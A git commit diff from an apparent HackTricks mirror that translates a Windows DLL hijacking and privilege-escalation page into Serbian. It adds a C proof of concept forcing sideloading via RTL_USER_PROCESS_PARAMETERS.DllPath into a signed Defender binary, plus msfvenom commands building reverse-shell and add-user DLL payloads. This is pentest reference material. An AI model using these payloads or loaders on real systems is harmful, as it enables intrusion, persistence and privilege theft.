mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
parent
ab4a584f82
commit
cb7a34932b
@ -4,119 +4,211 @@
|
||||
|
||||
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
DLL Hijacking uključuje manipulaciju pouzdane aplikacije da učita zlonamerni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, i Side-Loading**. Uglavnom se koristi za izvršavanje koda, postizanje postojanosti i, ređe, eskalaciju privilegija. Iako je fokus ovde na eskalaciji, metoda hijackinga ostaje dosledna kroz ciljeve.
|
||||
DLL Hijacking podrazumeva manipulaciju poverljivom aplikacijom da učita maliciozni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, and Side-Loading**. Najčešće se koristi za izvršavanje koda, postizanje persistence, i ređe za privilege escalation. Uprkos fokusu na eskalaciju ovde, metoda hijack-ovanja ostaje ista za sve ciljeve.
|
||||
|
||||
### Common Techniques
|
||||
### Uobičajene tehnike
|
||||
|
||||
Nekoliko metoda se koristi za DLL hijacking, svaka sa svojom efikasnošću u zavisnosti od strategije učitavanja DLL-a aplikacije:
|
||||
Koriste se različite metode za DLL hijacking, čija je efikasnost zavisna od načina na koji aplikacija učitava DLL-ove:
|
||||
|
||||
1. **DLL Replacement**: Zamena pravog DLL-a sa zlonamernim, opcionalno koristeći DLL Proxying da očuva funkcionalnost originalnog DLL-a.
|
||||
2. **DLL Search Order Hijacking**: Postavljanje zlonamernog DLL-a u pretraznu putanju ispred legitimnog, iskorišćavajući obrazac pretrage aplikacije.
|
||||
3. **Phantom DLL Hijacking**: Kreiranje zlonamernog DLL-a za aplikaciju da učita, misleći da je to nepostojeći potrebni DLL.
|
||||
4. **DLL Redirection**: Modifikovanje pretraživačkih parametara kao što su `%PATH%` ili `.exe.manifest` / `.exe.local` datoteke da usmere aplikaciju na zlonamerni DLL.
|
||||
5. **WinSxS DLL Replacement**: Zamena legitimnog DLL-a sa zlonamernim u WinSxS direktorijumu, metoda koja se često povezuje sa DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Postavljanje zlonamernog DLL-a u direktorijum pod kontrolom korisnika sa kopiranom aplikacijom, podsećajući na tehnike Binary Proxy Execution.
|
||||
1. **DLL Replacement**: Zamena legitimnog DLL-a malicioznim, opcionalno koristeći DLL Proxying da se sačuva funkcionalnost originalnog DLL-a.
|
||||
2. **DLL Search Order Hijacking**: Postavljanje malicioznog DLL-a u putanju pre legitimnog, iskorišćavajući obrazac pretrage aplikacije.
|
||||
3. **Phantom DLL Hijacking**: Kreiranje malicioznog DLL-a koji aplikacija pokuša da učita misleći da je u pitanju nepostojeći potreban DLL.
|
||||
4. **DLL Redirection**: Modifikovanje parametara pretrage kao što su %PATH% ili .exe.manifest / .exe.local fajlovi da se aplikacija usmeri na maliciozni DLL.
|
||||
5. **WinSxS DLL Replacement**: Zamena legitimnog DLL-a malicioznim u WinSxS direktorijumu, metoda često povezana sa DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Postavljanje malicioznog DLL-a u direktorijum pod kontrolom korisnika sa kopiranom aplikacijom, što podseća na Binary Proxy Execution tehnike.
|
||||
|
||||
## Finding missing Dlls
|
||||
## Pronalaženje nedostajućih Dll-ova
|
||||
|
||||
Najčešći način da se pronađu nedostajući DLL-ovi unutar sistema je pokretanje [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) iz sysinternals, **postavljajući** **sledeća 2 filtera**:
|
||||
Najčešći način za pronalaženje nedostajućih DLL-ova u sistemu je pokretanje [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) iz sysinternals-a, **postavljanjem** **sledеća 2 filtera**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
i samo prikazivanje **File System Activity**:
|
||||
i prikazivanjem samo **File System Activity**:
|
||||
|
||||
.png>)
|
||||
|
||||
Ako tražite **nedostajuće dll-ove uopšte**, možete **ostaviti** ovo da radi nekoliko **sekundi**.\
|
||||
Ako tražite **nedostajući dll unutar specifične izvršne datoteke**, trebali biste postaviti **drugi filter kao "Process Name" "contains" "\<exec name>", izvršiti ga, i zaustaviti hvatanje događaja**.
|
||||
Ako tražite **missing dlls in general** ostavite ovo da radi nekoliko **sekundi**.\
|
||||
Ako tražite **missing dll inside an specific executable** trebalo bi da postavite **još jedan filter kao "Process Name" "contains" "\<exec name>", pokrenete ga, i zaustavite hvatanje događaja**.
|
||||
|
||||
## Exploiting Missing Dlls
|
||||
|
||||
Da bismo eskalirali privilegije, najbolja šansa koju imamo je da možemo **napisati dll koji će privilegovani proces pokušati da učita** na nekom od **mesta gde će biti pretraživan**. Stoga, moći ćemo da **napišemo** dll u **folderu** gde se **dll pretražuje pre** foldera gde se nalazi **originalni dll** (čudan slučaj), ili ćemo moći da **pišemo u neki folder gde će se dll pretraživati** i originalni **dll ne postoji** u bilo kom folderu.
|
||||
Da bismo izvršili privilege escalation, najbolja prilika je da možemo **napisati DLL koji će neki privilegovani proces pokušati da učita** u nekom od **mesta gde će biti pretraživan**. Dakle, možemo **upisati** DLL u **folder** gde će se **DLL pretražiti pre** foldera gde se nalazi **originalni DLL** (neobičan slučaj), ili ćemo moći **upisati u neki folder gde će se DLL pretraživati** a originalni **DLL ne postoji** u bilo kojem folderu.
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**Unutar** [**Microsoft dokumentacije**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **možete pronaći kako se DLL-ovi specifično učitavaju.**
|
||||
**U** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **možete pronaći kako se DLL-ovi specifično učitavaju.**
|
||||
|
||||
**Windows aplikacije** traže DLL-ove prateći set **predefinisanih pretražnih putanja**, pridržavajući se određenog redosleda. Problem DLL hijacking-a nastaje kada se štetni DLL strateški postavi u jedan od ovih direktorijuma, osiguravajući da se učita pre autentičnog DLL-a. Rešenje za sprečavanje ovoga je osigurati da aplikacija koristi apsolutne putanje kada se poziva na DLL-ove koje zahteva.
|
||||
Windows aplikacije traže DLL-ove prateći skup unapred definisanih putanja pretrage, po određenom redosledu. Problem DLL hijackinga nastaje kada se štetan DLL strateški postavi u jedan od tih direktorijuma tako da bude učitan pre autentičnog DLL-a. Rešenje da se to spreči je osigurati da aplikacija koristi apsolutne putanje kada referencira potrebne DLL-ove.
|
||||
|
||||
Možete videti **DLL pretražni redosled na 32-bitnim** sistemima ispod:
|
||||
Možete videti **DLL search order na 32-bitnim** sistemima ispod:
|
||||
|
||||
1. Direktorijum iz kojeg je aplikacija učitana.
|
||||
2. Sistem direktorijum. Koristite [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) funkciju da dobijete putanju ovog direktorijuma.(_C:\Windows\System32_)
|
||||
3. 16-bitni sistem direktorijum. Ne postoji funkcija koja dobija putanju ovog direktorijuma, ali se pretražuje. (_C:\Windows\System_)
|
||||
4. Windows direktorijum. Koristite [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) funkciju da dobijete putanju ovog direktorijuma.
|
||||
2. System directory. Koristite [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) funkciju da dobijete putanju ovog direktorijuma.(_C:\Windows\System32_)
|
||||
3. 16-bit system directory. Ne postoji funkcija koja dobija putanju ovog direktorijuma, ali se pretražuje. (_C:\Windows\System_)
|
||||
4. Windows directory. Koristite [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) funkciju da dobijete putanju ovog direktorijuma.
|
||||
1. (_C:\Windows_)
|
||||
5. Trenutni direktorijum.
|
||||
6. Direktorijumi koji su navedeni u PATH promenljivoj okruženja. Imajte na umu da ovo ne uključuje putanju po aplikaciji koju određuje **App Paths** registry ključ. **App Paths** ključ se ne koristi prilikom izračunavanja DLL pretražnog puta.
|
||||
6. Direktorijumi koji su navedeni u PATH environment variable. Obratite pažnju da ovo ne uključuje per-application putanju specificiranu kroz **App Paths** registry key. **App Paths** ključ se ne koristi pri izračunavanju DLL search path.
|
||||
|
||||
To je **podrazumevani** pretražni redosled sa **SafeDllSearchMode** omogućenim. Kada je on onemogućen, trenutni direktorijum se penje na drugo mesto. Da biste onemogućili ovu funkciju, kreirajte **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry vrednost i postavite je na 0 (podrazumevano je omogućeno).
|
||||
To je **podrazumevani** redosled pretrage sa omogućenim **SafeDllSearchMode**. Kada je on onemogućen, current directory prelazi na drugo mesto. Da onemogućite ovu opciju, kreirajte **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry vrednost i postavite je na 0 (podrazumevano je enabled).
|
||||
|
||||
Ako se [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) funkcija pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH**, pretraga počinje u direktorijumu izvršnog modula koji **LoadLibraryEx** učitava.
|
||||
Ako se [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) funkcija pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH**, pretraga počinje u direktorijumu izvršne module koji **LoadLibraryEx** učitava.
|
||||
|
||||
Na kraju, imajte na umu da **dll može biti učitan ukazujući apsolutnu putanju umesto samo imena**. U tom slučaju, taj dll će se **samo pretraživati u toj putanji** (ako dll ima bilo kakve zavisnosti, one će se pretraživati kao da su učitane po imenu).
|
||||
Na kraju, imajte u vidu da **DLL može biti učitan navodeći apsolutnu putanju umesto samo imena**. U tom slučaju taj DLL će **biti tražen samo u toj putanji** (ako taj DLL ima zavisnosti, one će se tražiti kao da su upravo učitane po imenu).
|
||||
|
||||
Postoje i drugi načini za promenu načina pretražnog reda, ali ih ovde neću objašnjavati.
|
||||
Postoje i drugi načini da se menja redosled pretrage, ali ih ovde neću objašnjavati.
|
||||
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Određene izuzetke od standardnog DLL pretražnog reda beleže Windows dokumenti:
|
||||
Napredan način da deterministički utičete na DLL search path novokreiranog procesa je postavljanje DllPath polja u RTL_USER_PROCESS_PARAMETERS prilikom kreiranja procesa koristeći ntdll-ove native API-je. Ako ovde navedete direktorijum pod kontrolom napadača, ciljani proces koji rešava importovani DLL po imenu (bez apsolutne putanje i bez korišćenja safe loading flag-ova) može biti primoran da učita maliciozni DLL iz tog direktorijuma.
|
||||
|
||||
- Kada se naiđe na **DLL koji deli svoje ime sa jednim već učitanim u memoriji**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru preusmeravanja i manifest pre nego što se vrati na DLL već u memoriji. **U ovom scenariju, sistem ne sprovodi pretragu za DLL**.
|
||||
- U slučajevima kada je DLL prepoznat kao **poznati DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju poznatog DLL-a, zajedno sa bilo kojim od njegovih zavisnih DLL-ova, **preskočivši proces pretrage**. Registry ključ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih poznatih DLL-ova.
|
||||
- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima se sprovodi kao da su označeni samo svojim **imenima modula**, bez obzira na to da li je inicijalni DLL identifikovan putem pune putanje.
|
||||
Ključna ideja
|
||||
- Izgradite process parameters sa RtlCreateProcessParametersEx i pružite custom DllPath koji pokazuje na vaš kontrolisani folder (npr. direktorijum gde se nalazi vaš dropper/unpacker).
|
||||
- Kreirajte proces pomoću RtlCreateUserProcess. Kada ciljani binarni fajl reši DLL po imenu, loader će konsultovati dostavljeni DllPath tokom rezolucije, omogućavajući pouzdano sideloading čak i kada maliciozni DLL nije u istom direktorijumu kao ciljni EXE.
|
||||
|
||||
### Escalating Privileges
|
||||
Napomene/ograničenja
|
||||
- Ovo utiče na child proces koji se kreira; razlikuje se od SetDllDirectory, koja utiče samo na trenutni proces.
|
||||
- Cilj mora importovati ili LoadLibrary DLL po imenu (bez apsolutne putanje i bez korišćenja LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs i hardkodirane apsolutne putanje ne mogu biti hijack-ovane. Forwarded exports i SxS mogu promeniti prioritet.
|
||||
|
||||
Minimalan C primer (ntdll, wide strings, pojednostavljeno rukovanje greškama):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Primer operativne upotrebe
|
||||
- Postavite zlonamerni xmllite.dll (koji eksportuje potrebne funkcije ili proxy-uje na pravi) u vaš direktorijum DllPath.
|
||||
- Pokrenite potpisani binarni fajl za koji je poznato da traži xmllite.dll po imenu koristeći gore opisanu tehniku. Loader rešava import putem navedenog DllPath i sideload-uje vaš DLL.
|
||||
|
||||
Ova tehnika je viđena u prirodi da pokreće multi-stage sideloading lance: inicijalni launcher ispusti pomoćni DLL, koji potom pokreće Microsoft-potpisani, hijackable binarni fajl sa prilagođenim DllPath-om kako bi naterao učitavanje napadačevog DLL-a iz staging direktorijuma.
|
||||
|
||||
|
||||
#### Izuzeci u redosledu pretrage DLL-ova iz Windows dokumentacije
|
||||
|
||||
Windows dokumentacija beleži određene izuzetke od standardnog redosleda pretrage DLL-ova:
|
||||
|
||||
- Kada se naiđe na **DLL koji deli ime sa nekim koji je već učitan u memoriju**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru za redirekciju i manifest pre nego što zadano izabere DLL koji je već u memoriji. **U ovom scenariju, sistem ne vrši pretragu za DLL**.
|
||||
- U slučajevima kada je DLL prepoznat kao **known DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju te known DLL, zajedno sa svim njenim zavisnim DLL-ovima, **izostavljajući proces pretrage**. Registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih known DLL-ova.
|
||||
- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima se vrši kao da su naznačeni samo svojim **module names**, bez obzira da li je početni DLL bio identifikovan putem pune putanje.
|
||||
|
||||
### Eskalacija privilegija
|
||||
|
||||
**Zahtevi**:
|
||||
|
||||
- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontalno ili lateralno kretanje), koji **nema DLL**.
|
||||
- Osigurajte da je **pristup za pisanje** dostupan za bilo koji **direktorijum** u kojem će se **DLL** **pretraživati**. Ova lokacija može biti direktorijum izvršne datoteke ili direktorijum unutar sistemske putanje.
|
||||
- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontalno ili lateralno kretanje), a koji **nema DLL**.
|
||||
- Osigurajte da postoji **write access** za bilo koji **direktorijum** u kojem će se **DLL** **pretraživati**. Ova lokacija može biti direktorijum izvršnog fajla ili direktorijum unutar system path.
|
||||
|
||||
Da, zahtevi su komplikovani za pronalaženje jer je **po defaultu čudno pronaći privilegovanu izvršnu datoteku bez dll-a** i još je **čudnije imati dozvole za pisanje u folderu sistemske putanje** (to ne možete po defaultu). Ali, u pogrešno konfiguriranim okruženjima ovo je moguće.\
|
||||
U slučaju da imate sreće i ispunjavate zahteve, možete proveriti [UACME](https://github.com/hfiref0x/UACME) projekat. Čak i ako je **glavni cilj projekta zaobilaženje UAC**, možete pronaći **PoC** DLL hijacking-a za verziju Windows-a koju možete koristiti (verovatno samo menjajući putanju foldera gde imate dozvole za pisanje).
|
||||
Da, uslovi su teški za pronalaženje jer je **po defaultu pomalo čudno pronaći privilegovani izvršni fajl kome nedostaje DLL** i još je **čudnije imati write permissions na folderu u system path** (po defaultu to nije moguće). Međutim, u pogrešno konfigurisanom okruženju to je moguće.\
|
||||
Ako imate sreće i ispunjavate ove uslove, možete pogledati projekat [UACME](https://github.com/hfiref0x/UACME). Čak iako je **glavni cilj projekta da zaobiđe UAC**, tamo možete naći **PoC** Dll hijacking-a za verziju Windows-a koju možete iskoristiti (verovatno samo menjajući putanju foldera u kojem imate write permissions).
|
||||
|
||||
Imajte na umu da možete **proveriti svoje dozvole u folderu** tako što ćete:
|
||||
Napomena da možete **proveriti svoje dozvole u folderu** radeći:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
I **proverite dozvole svih foldera unutar PATH**:
|
||||
I **proverite dozvole svih direktorijuma u PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Možete takođe proveriti uvoze izvršne datoteke i izvoze dll-a sa:
|
||||
Takođe možete proveriti importe izvršnog fajla i eksporte dll-a pomoću:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Za potpuni vodič o tome kako **zloupotrebiti Dll Hijacking za eskalaciju privilegija** sa dozvolama za pisanje u **System Path folder**, proverite:
|
||||
For a full guide on how to **zloupotrebiti Dll Hijacking za eskalaciju privilegija** with permissions to write in a **System Path folder** check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Automatizovani alati
|
||||
### Automatski alati
|
||||
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo kom folderu unutar sistemskog PATH-a.\
|
||||
Drugi zanimljivi automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit funkcije**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo kom folderu unutar system PATH.\
|
||||
Drugi interesantni automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll._
|
||||
|
||||
### Primer
|
||||
|
||||
U slučaju da pronađete scenarij koji se može iskoristiti, jedna od najvažnijih stvari za uspešno iskorišćavanje bi bila da **napravite dll koji izvozi barem sve funkcije koje će izvršni program uvesti iz njega**. U svakom slučaju, imajte na umu da Dll Hijacking dolazi u obzir kako bi se [escaliralo sa Medium Integrity nivoa na High **(zaobilaženje UAC)**](../authentication-credentials-uac-and-efs.md#uac) ili sa [**High Integrity na SYSTEM**](#from-high-integrity-to-system)**.** Možete pronaći primer **kako napraviti validan dll** unutar ove studije o dll hijacking-u fokusirane na dll hijacking za izvršenje: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Pored toga, u **sledećem odeljku** možete pronaći neke **osnovne dll kodove** koji bi mogli biti korisni kao **šabloni** ili za kreiranje **dll-a sa neobaveznim izvezenim funkcijama**.
|
||||
Ako pronađete scenario koji se može iskoristiti, jedna od najvažnijih stvari za uspešan exploit je da **napravite dll koji izvozi bar sve funkcije koje će executable importovati iz njega**. Imajte na umu da Dll Hijacking može biti koristan za [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) or from[ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** Možete pronaći primer **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Štaviše, u **narednom odeljk**u možete naći neke **osnovne dll kodove** koji mogu biti korisni kao **templates** ili za kreiranje **dll with non required functions exported**.
|
||||
|
||||
## **Kreiranje i kompajliranje Dll-ova**
|
||||
## **Kreiranje i kompajliranje Dlls**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
U suštini, **Dll proxy** je Dll sposoban da **izvrši vaš zlonamerni kod kada se učita**, ali takođe da **izloži** i **radi** kao **očekivano** tako što **preusmerava sve pozive na pravu biblioteku**.
|
||||
U suštini, **Dll proxy** je Dll sposoban da **izvrši vaš zlonamerni kod prilikom učitavanja**, ali i da **izlaže** i **radi** kao **očekivano** preusmeravajući sve pozive na pravu biblioteku.
|
||||
|
||||
Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **naznačiti izvršni program i odabrati biblioteku** koju želite da proxify i **generisati proxified dll** ili **naznačiti Dll** i **generisati proxified dll**.
|
||||
Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) or [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **navesti an executable and select the library** koju želite proxify i **generisati a proxified dll** ili **navesti the Dll** i **generisati a proxified dll**.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
@ -124,17 +216,17 @@ Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Dobijte meterpreter (x86):**
|
||||
**Nabavite meterpreter (x86):**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Kreirajte korisnika (x86 nisam video x64 verziju):**
|
||||
**Kreiraj korisnika (x86, nisam video x64 verziju):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Vaš
|
||||
### Vaše
|
||||
|
||||
Napomena da u nekoliko slučajeva Dll koji kompajlirate mora **izvoziti nekoliko funkcija** koje će biti učitane od strane procesa žrtve, ako ove funkcije ne postoje **binarni fajl neće moći da ih učita** i **eksploit će propasti**.
|
||||
Imajte na umu da u nekoliko slučajeva Dll koji kompajlirate mora da **eksportuje više funkcija** koje će biti učitane od strane victim process. Ako te funkcije ne postoje, **binary neće moći da ih učita** i **exploit će propasti**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
@ -222,4 +314,7 @@ return TRUE;
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,118 +3,211 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
DLL Hijacking uključuje manipulaciju pouzdane aplikacije da učita zlonamerni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, i Side-Loading**. Uglavnom se koristi za izvršavanje koda, postizanje postojanosti i, ređe, eskalaciju privilegija. Iako je fokus ovde na eskalaciji, metoda otmice ostaje dosledna kroz ciljeve.
|
||||
DLL Hijacking podrazumeva manipulaciju pouzdanom aplikacijom da učita zlonamerni DLL. Ovaj termin obuhvata više taktika kao što su **DLL Spoofing, Injection, and Side-Loading**. Koristi se uglavnom za izvršavanje koda, postizanje persistencije i, ređe, za eskalaciju privilegija. Iako je ovde fokus na eskalaciji, metod hijack-ovanja ostaje isti bez obzira na cilj.
|
||||
|
||||
### Common Techniques
|
||||
### Uobičajene tehnike
|
||||
|
||||
Nekoliko metoda se koristi za DLL hijacking, svaka sa svojom efikasnošću u zavisnosti od strategije učitavanja DLL-a aplikacije:
|
||||
Koristi se nekoliko metoda za DLL hijacking, čija je efikasnost zavisna od strategije učitavanja DLL-ova koju aplikacija koristi:
|
||||
|
||||
1. **DLL Replacement**: Zamena pravog DLL-a sa zlonamernim, opcionalno koristeći DLL Proxying da očuva funkcionalnost originalnog DLL-a.
|
||||
2. **DLL Search Order Hijacking**: Postavljanje zlonamernog DLL-a u pretraznu putanju ispred legitimnog, iskorišćavajući obrazac pretrage aplikacije.
|
||||
3. **Phantom DLL Hijacking**: Kreiranje zlonamernog DLL-a za aplikaciju da učita, misleći da je to nepostojeći potrebni DLL.
|
||||
4. **DLL Redirection**: Modifikovanje pretraživačkih parametara kao što su `%PATH%` ili `.exe.manifest` / `.exe.local` datoteke da usmere aplikaciju na zlonamerni DLL.
|
||||
5. **WinSxS DLL Replacement**: Zamena legitimnog DLL-a sa zlonamernim u WinSxS direktorijumu, metoda koja se često povezuje sa DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Postavljanje zlonamernog DLL-a u direktorijum pod kontrolom korisnika sa kopiranom aplikacijom, podsećajući na tehnike Binary Proxy Execution.
|
||||
1. **DLL Replacement**: Zamena originalnog DLL-a zlonamernim, opciono uz korišćenje DLL Proxyinga da bi se sačuvala funkcionalnost originalnog DLL-a.
|
||||
2. **DLL Search Order Hijacking**: Postavljanje zlonamernog DLL-a u putanju pre legitimnog DLL-a, iskorišćavajući obrazac pretrage aplikacije.
|
||||
3. **Phantom DLL Hijacking**: Kreiranje zlonamernog DLL-a koji aplikacija pokušava da učita misleći da je u pitanju nepostojeći obavezan DLL.
|
||||
4. **DLL Redirection**: Modifikacija parametara pretrage kao što su %PATH% ili .exe.manifest / .exe.local fajlovi da se aplikacija usmeri na zlonamerni DLL.
|
||||
